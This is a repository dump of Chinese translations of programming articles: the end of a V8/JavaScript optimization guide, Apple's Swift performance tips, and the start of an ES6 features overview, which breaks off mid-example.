的合法整型索引,且不允许越界** - 除了 `.length` 和 `[i] `,不要直接使用 `arguments` - 严格来说用 `fn.apply(y, arguments)` 是没问题的,但除此之外都不行(例如 `.slice`)。 `Function#apply` 是特别的存在。 - 请注意,给函数添加属性值(例如 `fn.$inject = ...`)和绑定函数(即 `Function#bind` 的结果)会生成隐藏类,因此此时使用 `#apply` 不安全。 如果你按照上面的安全方式做,毋需担心使用 `arguments` 导致不确定 arguments 对象的分配。 ## 4. Switch-case 在以前,一个 switch-case 语句最多只能包含 128 个 case 代码块,超过这个限制的 switch-case 语句以及包含这种语句的函数将不能被优化。 ```js function over128Cases(c) { switch(c) { case 1: break; case 2: break; case 3: break; ... case 128: break; case 129: break; } } ``` 你需要让 case 代码块的数量保持在 128 个之内,否则应使用函数数组或者 if-else。 这个限制现在已经被解除了,请参阅此 [comment](https://bugs.chromium.org/p/v8/issues/detail?id=2275#c9)。 ## 5. For-in For-in 语句在某些情况下会导致整个函数无法被优化。 这也解释了”For-in 速度不快“之类的说法。 #### 5\.1\. 键不是局部变量: ```js function nonLocalKey1() { var obj = {} for(var key in obj); return function() { return key; }; } ``` ```js var key; function nonLocalKey2() { var obj = {} for(key in obj); } ``` 这两种用法db都将会导致函数不能被优化的问题。因此键不能在上级作用域定义,也不能在下级作用域被引用。它必须是一个局部变量。 #### 5.2. 被遍历的对象不是一个”简单可枚举对象“ ##### 5.2.1. 处于”哈希表模式“(又被称为”归一化对象“或”字典模式对象“ - 这种对象将哈希表作为其数据结构)的对象不是简单可枚举对象。 ```js function hashTableIteration() { var hashTable = {"-": 3}; for(var key in hashTable); } ``` 如果你给一个对象动态增加了很多的属性(在构造函数外)、`delete` 属性或者使用不合法的标识符作为属性,这个对象将会变成哈希表模式。换句话说,当你把一个对象当做哈希表来用,它就真的会变成哈希表。请不要对这种对象使用 `for-in`。你可以用过开启 Node.JS 的 `--allow-natives-syntax`,调用 `console.log(%HasFastProperties(obj))` 来判断一个对象是否为哈希表模式。
##### 5.2.2. 对象的原型链中存在可枚举属性 ```js Object.prototype.fn = function() {}; ``` 上面这么做会给所有对象(除了用 `Object.create(null)` 创建的对象)的原型链中添加一个可枚举属性。此时任何包含了 `for-in` 语法的函数都不会被优化(除非仅遍历 `Object.create(null)` 创建的对象)。 你可以使用 `Object.defineProperty` 创建不可枚举属性(不推荐在 runtime 中调用,但是在定义一些例如原型属性之类的静态数据的时候它很高效)。
##### 5.2.3. 对象中包含可枚举数组索引 [ECMAScript 262 规范](http://www.ecma-international.org/ecma-262/5.1/#sec-15.4) 定义了一个属性是否有数组索引: > 数组对象会给予一些种类的属性名特殊待遇。对一个属性名 P(字符串形式),当且仅当 ToString(ToUint32(P)) 等于 P 并且 ToUint32(P) 不等于 232−1 时,它是个 数组索引 。一个属性名是数组索引的属性也叫做元素 。 一般只有数组有数组索引,但是有时候一般的对象也可能拥有数组索引: `normalObj[0] = value;` ```js function iteratesOverArray() { var arr = [1, 2, 3]; for (var index in arr) { } } ``` 因此使用 `for-in` 进行数组遍历不仅会比 for 循环要慢,还会导致整个包含 `for-in` 语句的函数不能被优化。
如果你试图使用 `for-in` 遍历一个非简单可枚举对象,它会导致包含它的整个函数不能被优化。 **变通方法**:只对 `Object.keys` 使用 `for-in`,如果要遍历数组需使用 for 循环。如果非要遍历整个原型链上的属性,需要将 `for-in` 隔离在一个辅助函数中以降低影响: ```js function inheritedKeys(obj) { var ret = []; for(var key in obj) { ret.push(key); } return ret; } ``` ## 6. 退出条件藏的很深,或者没有定义明确出口的无限循环 有时候在你写代码的时候,你需要用到循环,但是不确定循环体内的代码之后会是什么样子。所以这时候你用了一个 `while (true) {` 或者 `for (;;) {`,在之后将终止条件放在循环体中,打断循环进行后面的代码。然而你写完这些之后就忘了这回事。在重构时,你发现这个函数很慢,出现了反优化情况 - 上面的循环很可能就是罪魁祸首。 重构时将循环内的退出条件放到循环的条件部分并不是那么简单。 1. 如果代码中的退出条件是循环最后的 if 语句的一部分,且代码至少要运行一轮,那么你可以将这个循环重构为 `do{} while ();`。 2. 如果退出条件在循环的开头,请将它放在循环的条件部分中去。 3. 如果退出条件在循环体中部,你可以尝试”滚动“代码:试着依次将一部分退出条件前的代码移到后面去,然后在之前的位置留下它的引用。当退出条件可以放在循环条件部分,或者至少变成一个浅显的逻辑判断时,这个循环就不再会出现反优化的情况了。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/OptimizationTips.rst ================================================ - 原文链接: `Optimization Tips `_ - 原文作者 : `apple `_ - 译文出自 : `掘金翻译计划 `_ - 译者 : `joyking7 `_ - 校对者: `nathanwhy `_、`walkingway `_ - 状态 : 完成 编写高性能的 Swift 代码 =================================== 这篇文章整合了许多编写高性能的 Swift 代码的提示与技巧。文章的受众是编译器和标准库的开发者。 这篇文章中的一些技巧可以帮助提高你的 Swift 程序质量,并且可以减少代码中的容易出现的错误,使代码更具可读性。显式地标记出最终类和类的协议是两个显而易见的例子。然而,文章中描述的一些技巧是不符合规定的,扭曲的,仅仅解决由于编译器或者语言暂时限制的问题。文章中的建议来自多方面的权衡,例如程序运行时,二进制大小,代码可读性等等。 启用优化 ====================== 每个人应该做的第一件事是启用优化。 Swift 提供了三种不同的优化级别: - ``-Onone``: 这是为正常开发准备,它执行最少的优化并保留所有调试的信息。 - ``-O``: 是为大多数生产代码准备,编译器执行积极的优化,可以很大程度上改变提交代码的类型和数量。调试信息同样会被输出,但是有损耗。 - ``-Ounchecked``: 这个是特定的优化模式,为了特定的库或应用程序,舍弃安全性来提高性能。编译器将移除所有溢出检查以及一些隐式类型检查。由于这样会导致未被发现的存储安全问题和整数溢出,所以一般情况下并不会使用这种模式。仅使用于你已经仔细审查了自己的代码对于整数溢出和类型转换是友好的情况下。 在 Xcode UI 中,人们可以按照下面修改当前优化级别: ... 优化整个组件 ========================== 默认情况下 Swift 单独编译每个文件。这使得 Xcode 可以非常快速的并行编译多个文件。然而,分开编译每个文件可以阻止某些编译器优化。 Swift 也可以把整个程序看做一个文件来编译,并把程序当成单个编译单元来优化。这个模式可以使用命令行 ``-whole-module-optimization`` 来启用。在这种模式下程序需要花费更长的时间来编译,但运行起来却更快。 这个模式可以通过 Xcode 构建设置中的'Whole Module Optimization'来启用。 降低动态调度 (Reducing Dynamic Dispatch) ========================= 在默认情况下, Swift 是一个类似 Objective-C 的动态语言。与 Objective-C 不同的是,程序员在必要的时候可移除或减少 Swift 这种动态特性,从而提高运行时性能。本节将提供几个能够被用于操作语言结构的例子。 动态调度 ---------------- 在默认情况下,类使用动态调度的方法和属性访问。因此在下面的代码片段中, ``a.aProperty``, ``a.doSomething()`` 和 ``a.doSomethingElse()`` 都将通过动态调度来调用: :: class A { var aProperty: [Int] func doSomething() { ... } dynamic doSomethingElse() { ... } } class B : A { override var aProperty { get { ... } set { ... } } override func doSomething() { ... } } func usingAnA(a: A) { a.doSomething() a.aProperty = ... } 在 Swift 中,动态调度默认通过一个 vtable [1]_ (虚函数表)间接调用。如果使用 ``dynamic`` 关键字声明, Swift 的调用方式将变为:『通过 Objective-C 的消息传递机制 』。在上面这两种情况下,后者『通过 Objective-C 的消息传递』要比直接进行函数调用慢,因为他阻止了编译器的很多优化 [2]_ ,除了自身的间接调用开销。在性能优先的代码中,人们常常想限制这种动态行为。 建议:当你在声明时知道不会被重写时使用 'final' -------------------------------------------------------------------------------- ``final`` 关键字是类、方法或属性声明中的限制,从而让声明不被重写。这就意味着编译器可以使用直接函数调用代替间接函数调用。例如下面的 ``C.array1`` 和 ``D.array1`` 将会被直接访问 [3]_ 。与之相反, ``D.array2`` 将通过一个虚函数表访问: :: final class C { // 类'C'中没有声明可以被重写 var array1: [Int] func doSomething() { ... } } class D { final var array1 [Int] //'array1'不可以被计算属性重写 var array2: [Int] //'array2'*可以*被计算属性重写 } func usingC(c: C) { c.array1[i] = ... //可以直接使用C.array而不用通过动态调用 c.doSomething() = ... //可以直接调用C.doSomething而不用通过虚函数表访问 } func usingD(d: D) { d.array1[i] = ... //可以直接使用D.array1而不用通过动态调用 d.array2[i] = ... //将通过动态调用使用D.array2 } 建议:当声明不需要被文件外部访问到的时候,使用'private' ----------------------------------------------------------------------------------- 在声明中使用 ``private`` 关键字,会限制对其声明文件的可见性。这会让编译器能查出所有其它潜在的重写声明。因此,由于没有了这样的声明,编译器就可以自动推断出 ``final`` 关键字,并移除间接的方法调用和域访问。例如下面,假设在同一文件中 ``E`` , ``F`` 并没有任何重写声明,那么 ``e.doSomething()`` 和 ``f.myPrivateVar`` 将可以被直接访问: :: private class E { func doSomething() { ... } } class F { private var myPrivateVar : Int } func usingE(e: E) { e.doSomething() // 文件中没有替代类来声明这个类 // 编译器可以移除 doSomething() 的虚拟调用 // 并直接调用类 E 的 doSomething 方法 } func usingF(f: F) -> Int { return f.myPrivateVar } 高效地使用容器类型 ================================= 通用的容器 Array 和 Dictionary 是 Swift 标准库提供的一个重要特性。本节将解释如何用高性能方式使用这些类型。 建议:在数组中使用值类型 -------------------------------- 在 Swift 中,类型可以分为不同的两类:值类型(结构体,枚举,元组)和引用类型(类)。一个关键的差别就是 NSArray 中不能含有值类型。因此当使用值类型时,优化器就不需要去处理对 NSArray 的支持,从而可以在数组上省去大部分的消耗。 此外,相比引用类型,如果值类型递归地包含引用类型,那么值类型仅需要引用计数器。使用不含引用类型的值类型,就可以避免额外的开销(数组内的元素执行 retain、release 操作所产生的通讯量)。 :: // 这里不要使用类 struct PhonebookEntry { var name : String var number : [Int] } var a : [PhonebookEntry] 牢记在使用大的值类型和引用类型之间要做好权衡。在某些情况下,拷贝和移动大的值类型消耗要大于移除桥接和保留/释放的消耗。 建议:当 NSArray 桥接不必要时,使用 ContiguousArray 存储引用类型 ------------------------------------------------------------------------------------- 如果你需要一个引用类型的数组,并且数组不需要被桥接到 NSArray ,使用 ContiguousArray 代替 Array 。 :: class C { ... } var a: ContiguousArray = [C(...), C(...), ..., C(...)] 建议:使用就地转变而不是对象的再分配 ----------------------------------------------------------- 在 Swift 中,所有的标准库容器都是值类型,使用 COW(copy-on-write) [4]_ 机制执行拷贝以代替直接拷贝。在很多情况下,通过保持容器的引用而不是执行深度拷贝能够让编译器节省不必要的拷贝。如果容器的引用计数大于1并且容器发生转变,这将只通过拷贝底层容器实现。例如下面的情况,当 ``d`` 被分配给 ``c`` 时不进行拷贝,但当 ``d`` 通过结构的改变附加到 ``2``,那么 ``d`` 就会被拷贝,然后 ``2`` 就会被附加到 ``d``: :: var c: [Int] = [ ... ] var d = c //这里没有拷贝 d.append(2) //这里*有*拷贝 如果用户不小心,有时 COW 机制会引起额外的拷贝。例如,在函数中,试图通过对象的再分配执行修改操作。在 Swift 中,所有的参数传递时都会被拷贝,例如,参数在调用之前会保留,然后在调用结束时会释放。也就是像下面的函数: :: func append_one(a: [Int]) -> [Int] { a.append(1) return a } var a = [1, 2, 3] a = append_one(a) 尽管 ``a`` (一开始未执行 append 操作)在 ``append_one`` 之后也没有使用,但仍然可能会被拷贝 [5]_ 。这可以通过使用参数 ``inout`` 来避免: :: func append_one_in_place(inout a: [Int]) { a.append(1) } var a = [1, 2, 3] append_one_in_place(&a) 未检查操作 ==================== 在执行普通的整数运算时,Swift 会检查运算结果是否溢出,从而消除 bug。然而在已知没有内存安全问题发生的高性能代码中,这样的检查是不合适的。 建议:如果你知道不会发生溢出时,使用未检查整型计算 --------------------------------------------------------------------------------------- 在性能优先的代码中,如果你知道代码是安全的,那么你可以忽略溢出检查。 :: a : [Int] b : [Int] c : [Int] //前提:对于所有的 a[i], b[i],a[i] + b[i]都不会溢出! for i in 0 ... n { c[i] = a[i] &+ b[i] } 泛型 ======== Swift通过使用泛型类型,提供了一种十分强大的抽象机制。 Swift 编译器发出一个具体的代码块,从而可以对任何 ``T`` 执行 ``MySwiftFunc``。生成的代码需要一个函数指针表和一个包含 ``T`` 的封装作为额外参数。通过传递不同的函数指针表及封装提供的抽象大小,从而来说明 ``MySwiftFunc`` 和 ``MySwiftFunc`` 之间的不同行为。一个泛型的例子: :: class MySwiftFunc { ... } MySwiftFunc X // 将通过 Int 类型传递代码 MySwiftFunc Y // 此处为 String 类型 当启用优化时, Swift 编译器查看每段调用的代码,并试着查明其中具体使用的类型(例如:非泛型类型)。如果泛型函数定义对优化器可见,并且具体类型已知,那么 Swift 编译器将产生一个具有特殊类型的特殊泛型函数。这一过程被称作 *特殊化*,从而可以避免与泛型关联的消耗。一些泛型的例子: :: class MyStack { func push(element: T) { ... } func pop() -> T { ... } } func myAlgorithm(a: [T], length: Int) { ... } //编译器可以特殊化 MyStack[Int] 的代码 var stackOfInts: MyStack[Int] //使用整型类型的栈 for i in ... { stack.push(...) stack.pop(...) } var arrayOfInts: [Int] //编译器可以为目标为 [Int] 的 myAlgorithm 函数执行一个特殊化版本 myAlgorithm(arrayOfInts, arrayOfInts.length) 建议:将泛型声明放在使用它的文件中 --------------------------------------------------------------------- 只有泛型声明在当前模块可见,优化器才能进行特殊化。这样只发生在使用泛型和声明泛型在同一个文件中的情况下。*注意*标准库是一个例外。在标准库中声明泛型,可以对所有模块可见且进行特殊化。 建议:允许编译器进行泛型特殊化 ------------------------------------------------------------ 只有调用和被调用函数位于同一编译单元,编译器才能够对泛型代码进行特殊化。我们可以使用一个技巧让编译器对被调用函数进行优化,就是在被调用函数的编译单元中执行类型检查代码。进行类型检查的代码会被重新发送来调用泛型函数---但是这样做会包含类型信息。在下面的代码中,我们在函数"play_a_game"中插入类型检查,使代码运行速度提高了几百倍。 :: //Framework.swift: protocol Pingable { func ping() -> Self } protocol Playable { func play() } extension Int : Pingable { func ping() -> Int { return self + 1 } } class Game : Playable { var t : T init (_ v : T) {t = v} func play() { for _ in 0...100_000_000 { t = t.ping() } } } func play_a_game(game : Playable ) { //这个检查允许优化器对泛型函数'play'进行特殊化 if let z = game as? Game { z.play() } else { game.play() } } /// -------------- >8 // Application.swift: play_a_game(Game(10)) Swift 中大的值类型的开销 ============================== 在 Swift 中,值保留有一份独有的数据拷贝。使用值类型有很多优点,比如能保证值具有独立的状态。当我们拷贝值时(等同于分配,初始化和参数传递),程序将会创建一份新的拷贝。对于一些大的值类型,这样的拷贝是相当耗时的,也可能会影响到程序的性能。 .. 更多关于值类型的知识: .. https://developer.apple.com/swift/blog/?id=10 考虑下面的代码,代码中使用'值'类型的节点定义了一棵树。树的节点包括其它使用协议的节点。计算机图形场景通常由不同的实体和变形体构成,而他们都能表示为值的形式,所以这个例子很有实际意义。 .. 查看面向协议编程: .. https://developer.apple.com/videos/play/wwdc2015-408/ :: protocol P {} struct Node : P { var left, right : P? } struct Tree { var node : P? init() { ... } } 当树进行拷贝(传递参数,初始化或者赋值操作),整棵树都要被拷贝。这是一个花销很大的操作,需要调用很多 malloc/free (分配/释放)以及大量引用计数操作。 然而,我们并不是真的关心值是否被拷贝,只要这些值还保留在内存中。 建议:对大的值类型使用 copy-on-write 机制 ---------------------------------------------------- 减少拷贝大的值类型的开销,可以采用 copy-on-write 的方法。实现 copy-on-write 机制最简单的办法就是采用已经存在的 copy-on-write 的数据结构,比如数组。 Swift 的数组是值类型,因为它具有 copy-on-write 的特性,所以当数组作为参数被传递时,并不需要每次都进行拷贝。 在我们'树'的例子中,通过将树中的内容封装到数组中,从而减少拷贝带来的开销。通过这一简单的改变就能极大地提示我们树的数据结构性能,数组作为参数传递的开销从 O(n) 降到了 O(1) 。 :: struct Tree : P { var node : [P?] init() { node = [ thing ] } } 使用数组来实现 COW 机制有两个明显的缺点。第一个问题就是数组中类似"append"和"count"的方法,它们在值封装中没有任何作用。这些方法让引用封装变得很不方便。我们可以通过创建一个隐藏未用到的 API 的封装结构来解决这个问题,并且优化器会移除它的开销,但是这样的封装并不能解决第二个问题。第二个问题就是数组内存在保证程序安全性和与 Objective-C 进行交互的代码, Swift 会检查索引访问是否在数组边界内,以及保存值时会判断数组存储时否需要扩展存储空间。这些操作运行时都会降低程序速度。 一个替代方法就是实现一个 copy-on-write 机制的数据结构来代替数组作为值封装。下面的例子就是介绍如何构建一个这样的数据结构: .. Note: 这样的解决办法,对于嵌套结构并非最优,并且一个基于 COW 数据结构的 addressor 会更加高效。然而在这种情况下,抛开标准库执行 addressor 是行不通的。 .. 更多细节详见 Mike Ash 的博文: .. https://www.mikeash.com/pyblog/friday-qa-2015-04-17-lets-build-swiftarray.html :: final class Ref { var val : T init(_ v : T) {val = v} } struct Box { var ref : Ref init(_ x : T) { ref = Ref(x) } var value: T { get { return ref.val } set { if (!isUniquelyReferencedNonObjC(&ref)) { ref = Ref(newValue) return } ref.val = newValue } } } ``Box`` 类型可以代替上个例子中的数组。 不安全的代码 =========== Swift 中类总是采用引用计数。 Swift 编译器会在每次对象被访问时插入增加引用计数的代码。例如,考虑一个通过使用类实现遍历链表的例子。遍历链表是通过从一个节点到下一个节点移动引用实现: ``elem = elem.next``。每次我们移动这个引用, Swift 将会增加 ``next`` 对象的引用计数,并且减少前一个对象的引用计数。这样的引用计数方法成本很高,但只要我们使用 Swift 的类就无法避免。 :: final class Node { var next: Node? var data: Int ... } 建议:使用非托管的引用来避免引用计数带来的开销 --------------------------------------------------------------------- 在性能优先代码中,你可以选择使用未托管的引用。其中 ``Unmanaged`` 结构体就允许开发者关闭对于特殊引用的自动引用计数 (ARC) 功能。 :: var Ref : Unmanaged = Unmanaged.passUnretained(Head) while let Next = Ref.takeUnretainedValue().next { ... Ref = Unmanaged.passUnretained(Next) } 协议 ========= 建议:标记只能由类实现的协议为类协议 ---------------------------------------------------------------------------- Swift 可以限定协议只能通过类实现。标记协议只能由类实现的一个优点就是,编译器可以基于只有类实现协议这一事实来优化程序。例如,如果 ARC 内存管理系统知道正在处理类对象,那么就能够简单的保留(增加对象的引用计数)它。如果编译器不知道这一事实,它就不得不假设结构体也可以实现协议,那么就需要准备保留或者释放不可忽视的结构体,这样做的代价很高。 如果限定只能由类实现某个协议,那么就需要标记类实现的协议为类协议,以便获得更好的运行性能。 :: protocol Pingable : class { func ping() -> Int } .. https://developer.apple.com/library/ios/documentation/Swift/Conceptual/Swift_Programming_Language/Protocols.html 脚注 ========= .. [1] 虚拟方法表或者'vtable'是一种被包含类型方法地址实例引用的类型特定表。动态分发执行时,首先要从对象中查找这张表,然后在表中查找方法。 .. [2] 这是因为编译器不知道具体哪个函数被调用。 .. [3] 例如,直接加载类域或者直接调用函数。 .. [4] 解释 COW 是什么。 .. [5] 在某些情况下,优化器能够通过直接插入和 ARC 优化,来移除保持的引用、这种释放确保拷贝不会发生。 ================================================ FILE: TODO/Overview-of-JavaScript-ES6-features-a-k-a-ECMAScript-6-and-ES2015.md ================================================ > * 原文地址:[Overview of JavaScript ES6 features (a.k.a ECMAScript 6 and ES2015+)](http://adrianmejia.com/blog/2016/10/19/Overview-of-JavaScript-ES6-features-a-k-a-ECMAScript-6-and-ES2015/) * 原文作者:[Adrian Mejia](http://adrianmejia.com/#about) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[L9m](https://github.com/L9m) * 校对者:[Tina92](https://github.com/Tina92),[luoyaqifei](https://github.com/luoyaqifei),[theJian](https://github.com/theJian) # JavaScript ES6 核心功能一览(ES6 亦作 ECMAScript 6 或 ES2015+) JavaScript 在过去几年里发生了很大的变化。这里介绍 12 个你马上就能用的新功能。 # JavaScript 历史 新的语言规范被称作 ECMAScript 6。也称为 ES6 或 ES2015+ 。 自从 1995 年 JavaScript 诞生以来,它一直在缓慢地发展。每隔几年就会增加一些新内容。1997 年,ECMAScript 成为 JavaScript 语言实现的规范。它已经有了好几个版本,比如 ES3 , ES5 , ES6 等等。 ![](http://adrianmejia.com/images/history-javascript-evolution-es6.png "JavaScript 发展史") 如你所见,ES3,ES5 和 ES6 之间分别存在着 10 年和 6 年的间隔。像 ES6 那样一次进行大幅修改的模式被逐年渐进式的新模式所替代。 # 浏览器支持 所有现代浏览器和环境都已支持 ES6。 ![](http://adrianmejia.com/images/es6-javascript-support.png "ES6 Support") 来源: [https://kangax.github.io/compat-table/es6/](https://kangax.github.io/compat-table/es6/) Chrome,MS Edge,Firefox,Safari,Node 和许多其他的环境都已内置支持大多数的 JavaScript ES6 功能。所以,在本教程中你学到的每个知识,你都可以马上开始应用。 让我们开始学习 ECMAScript 6 吧! # 核心 ES6 功能 你可以在浏览器的控制台中测试所有下面的代码片段。 ![](http://adrianmejia.com/images/javascript-es6-classes-on-browser-console.png "Testing Javascript ES6 classes on browser console") 不要笃信我的话,而是要亲自去测试每一个 ES5 和 ES6 示例。让我们开始动手吧 💪 ## 变量的块级作用域 使用 ES6,声明变量我们可以用 `var` ,也可以用 `let` 或 `const`。 `var` 有什么不足? 使用 `var` 的问题是变量会漏入其他代码块中,诸如 `for` 循环或 `if` 代码块。 ``` // ES5 var x = 'outer'; function test(inner) { if (inner) { var x = 'inner'; // 作用于整个 function return x; } return x; // 因为第四行的声明提升,被重新定义 } test(false); // undefined 😱 test(true); // inner ``` 对于 `test(fasle)` ,你期望返回 `outer`,**但是**,你得到的是 `undefined`。 为什么? 因为尽管没有执行 `if` 代码块,第四行中的表达式 `var x` 也会被提升。 > var **提升**: > > * `var` 是函数作用域。在整个函数中甚至是声明语句之前都是可用的。 > * 声明被提升。所以你能在声明之前使用一个变量。 > * 初始化是不被提升的。如果你使用 `var` 声明变量,请总是将它放在顶部。 > * 在应用了声明提升规则之后,我们就能更容易地理解发生了什么: > > ``` // ES5 var x = 'outer'; function test(inner) { var x; // 声明提升 if (inner) { x = 'inner'; // 初始化不被提升 return x; } return x; } ``` ECMAScript 2015 找到了解决的办法: ``` // ES6 let x = 'outer'; function test(inner) { if (inner) { let x = 'inner'; return x; } return x; // 从第一行获取到预期结果 } test(false); // outer test(true); // inner ``` 将 `var` 改为 `let`,代码将像期望的那样运行。如果 `if` 代码块没有被调用,`x` 变量也就不会在代码块外被提升。 > let **提升** 和“暂存死区(temporal dead zone)” > > * 在 ES6 中,`let` 将变量提升到代码块的顶部(不是像 ES5 那样的函数顶部)。 > * 然而,代码块中,在变量声明之前引用它会导致 `ReferenceError` 错误。 > * `let` 是块级作用域。你不能在它被声明之前引用它。 > * “暂存死区(Temporal dead zone)”是指从代码块开始直到变量被声明之间的区域。 **IIFE** 在解释 IIFE 之前让我们看一个例子。来看一下: ``` // ES5 { var private = 1; } console.log(private); // 1 ``` 如你所见,`private` 漏出(代码块)。你需要使用 IIFE(immediately-invoked function expression,立即执行函数表达式)来包含它: ``` // ES5 (function(){ var private2 = 1; })(); console.log(private2); // Uncaught ReferenceError ``` 如果你看一看 jQuery/loadsh 或其他开源项目,你会注意到他们用 IIFE 来避免污染全局环境而且只在全局中定义了诸如 `_`,`$`和`jQuery`。 在 ES6 上则一目了然,我们可以只用代码块和 `let`,也不再需要使用 IIFE了。 ``` // ES6 { let private3 = 1; } console.log(private3); // Uncaught ReferenceError ``` **Const** 如果你想要一个变量保持不变(常量),你也可以使用 `const`。 ![](http://adrianmejia.com/images/javascript-es6-const-variables-example.png "const variable example") > 总之:用 `let`,`const` 而不是 `var` > > * 对所有引用使用 `const`;避免使用 `var`。 > * 如果你必须重新指定引用,用 `let` 替代 `const`。 ## 模板字面量 有了模板字面量,我们就不用做多余的嵌套拼接了。来看一下: ``` // ES5 var first = 'Adrian'; var last = 'Mejia'; console.log('Your name is ' + first + ' ' + last + '.'); ``` 现在你可以使用反引号 (\`) 和字符串插值 `${}`: ``` // ES6 const first = 'Adrian'; const last = 'Mejia'; console.log(`Your name is ${first} ${last}.`); ``` ## 多行字符串 我们再也不需要添加 + `\n` 来拼接字符串了: ``` // ES5 var template = '
  • \n' + '
    \n' + ' \n' + ' \n' + ' \n' + '
    \n' + ' \n' + '
  • '; console.log(template); ``` 在 ES6 上, 我们可以同样使用反引号来解决这个问题: ``` // ES6 const template = `
  • `; console.log(template); ``` 两段代码的结果是完全一样的。 ## 解构赋值 ES6 的解构不仅实用而且很简洁。如下例所示: **从数组中获取元素** ``` // ES5 var array = [1, 2, 3, 4]; var first = array[0]; var third = array[2]; console.log(first, third); // 1 3 ``` 等同于: ``` const array = [1, 2, 3, 4]; const [first, ,third] = array; console.log(first, third); // 1 3 ``` **交换值** ``` // ES5 var a = 1; var b = 2; var tmp = a; a = b; b = tmp; console.log(a, b); // 2 1 ``` 等同于: ``` // ES6 let a = 1; let b = 2; [a, b] = [b, a]; console.log(a, b); // 2 1 ``` **多个返回值的解构** ``` // ES5 function margin() { var left=1, right=2, top=3, bottom=4; return { left: left, right: right, top: top, bottom: bottom }; } var data = margin(); var left = data.left; var bottom = data.bottom; console.log(left, bottom); // 1 4 ``` 在第 3 行中,你也可以用一个像这样的数组返回(同时省去了一些编码): ``` return [left, right, top, bottom]; ``` 但另一方面,调用者需要考虑返回数据的顺序。 ``` var left = data[0]; var bottom = data[3]; ``` 用 ES6,调用者只需选择他们需要的数据即可(第 6 行): ``` // ES6 function margin() { const left=1, right=2, top=3, bottom=4; return { left, right, top, bottom }; } const { left, bottom } = margin(); console.log(left, bottom); // 1 4 ``` *注意:* 在第 3 行中,我们使用了一些其他的 ES6 功能。我们将 `{ left: left }` 简化到只有 `{ left }`。与 ES5 版本相比,它变得如此简洁。酷不酷? **参数匹配的解构** ``` // ES5 var user = {firstName: 'Adrian', lastName: 'Mejia'}; function getFullName(user) { var firstName = user.firstName; var lastName = user.lastName; return firstName + ' ' + lastName; } console.log(getFullName(user)); // Adrian Mejia ``` 等同于(但更简洁): ``` // ES6 const user = {firstName: 'Adrian', lastName: 'Mejia'}; function getFullName({ firstName, lastName }) { return `${firstName} ${lastName}`; } console.log(getFullName(user)); // Adrian Mejia ``` **深度匹配** ``` // ES5 function settings() { return { display: { color: 'red' }, keyboard: { layout: 'querty'} }; } var tmp = settings(); var displayColor = tmp.display.color; var keyboardLayout = tmp.keyboard.layout; console.log(displayColor, keyboardLayout); // red querty ``` 等同于(但更简洁): ``` // ES6 function settings() { return { display: { color: 'red' }, keyboard: { layout: 'querty'} }; } const { display: { color: displayColor }, keyboard: { layout: keyboardLayout }} = settings(); console.log(displayColor, keyboardLayout); // red querty ``` 这也称作对象的解构。 如你所见,解构是非常实用的而且有利于促进良好的编码风格。 > 最佳实践: > > * 使用数组解构去获取元素或交换值。它可以避免创建临时引用。 > * 不要对多个返回值使用数组解构,而是要用对象解构。 ## 类和对象 用 ECMAScript 6,我们从“构造函数”🔨 来到了“类”🍸。 > 在 JavaScript 中,每个对象都有一个原型对象。所有的 JavaScript 对象都从它们的原型对象那里继承方法和属性。 在 ES5 中,为了实现面向对象编程(OOP),我们使用构造函数来创建对象,如下: ``` // ES5 var Animal = (function () { function MyConstructor(name) { this.name = name; } MyConstructor.prototype.speak = function speak() { console.log(this.name + ' makes a noise.'); }; return MyConstructor; })(); var animal = new Animal('animal'); animal.speak(); // animal makes a noise. ``` ES6 中有了一些语法糖。通过像 `class` 和 `constructor` 这样的关键字和减少样板代码,我们可以做到同样的事情。另外,`speak()` 相对照 `constructor.prototype.speak = function ()` 更加清晰: ``` // ES6 class Animal { constructor(name) { this.name = name; } speak() { console.log(this.name + ' makes a noise.'); } } const animal = new Animal('animal'); animal.speak(); // animal makes a noise. ``` 正如你所见,两种式样(ES5 与 6)在幕后产生相同的结果而且用法一致。 > 最佳实践: > > * 总是使用 `class` 语法并避免直接直接操纵 `prototype`。为什么?因为它让代码更加简洁和易于理解。 > * 避免使用空的构造函数。如果没有指定,类有一个默认的构造函数。 ## 继承 基于前面的 `Animal` 类。 让我们扩展它并定义一个 `Lion` 类。 在 ES5 中,它更多的与原型继承有关。 ``` // ES5 var Lion = (function () { function MyConstructor(name){ Animal.call(this, name); } // 原型继承 MyConstructor.prototype = Object.create(Animal.prototype); MyConstructor.prototype.constructor = Animal; MyConstructor.prototype.speak = function speak() { Animal.prototype.speak.call(this); console.log(this.name + ' roars 🦁'); }; return MyConstructor; })(); var lion = new Lion('Simba'); lion.speak(); // Simba makes a noise. // Simba roars. ``` 我不会重复所有的细节,但请注意: * 第 3 行中,我们添加参数显式调用了 `Animal` 构造函数。 * 第 7-8 行,我们将 `Lion` 原型指派给 `Animal` 原型。 * 第 11行中,我们调用了父类 `Animal` 的 `speak` 方法。 在 ES6 中,我们有了新关键词 `extends` 和 `super` superman shield。 ``` // ES6 class Lion extends Animal { speak() { super.speak(); console.log(this.name + ' roars 🦁'); } } const lion = new Lion('Simba'); lion.speak(); // Simba makes a noise. // Simba roars. ``` 虽然 ES6 和 ES5 的代码作用一致,但是 ES6 的代码显得更易读。更胜一筹! > 最佳实践: > > * 使用 `extends` 内置方法实现继承。 ## 原生 Promises 从回调地狱 👹 到 promises 🙏。 ``` // ES5 function printAfterTimeout(string, timeout, done){ setTimeout(function(){ done(string); }, timeout); } printAfterTimeout('Hello ', 2e3, function(result){ console.log(result); // 嵌套回调 printAfterTimeout(result + 'Reader', 2e3, function(result){ console.log(result); }); }); ``` 我们有一个接收一个回调的函数,当 `done` 时执行。我们必须一个接一个地执行它两次。这也是为什么我们在回调中第二次调用 `printAfterTimeout` 的原因。 如果你需要第 3 次或第 4 次回调,可能很快就会变得混乱。来看看我们用 promises 的写法: ``` // ES6 function printAfterTimeout(string, timeout){ return new Promise((resolve, reject) => { 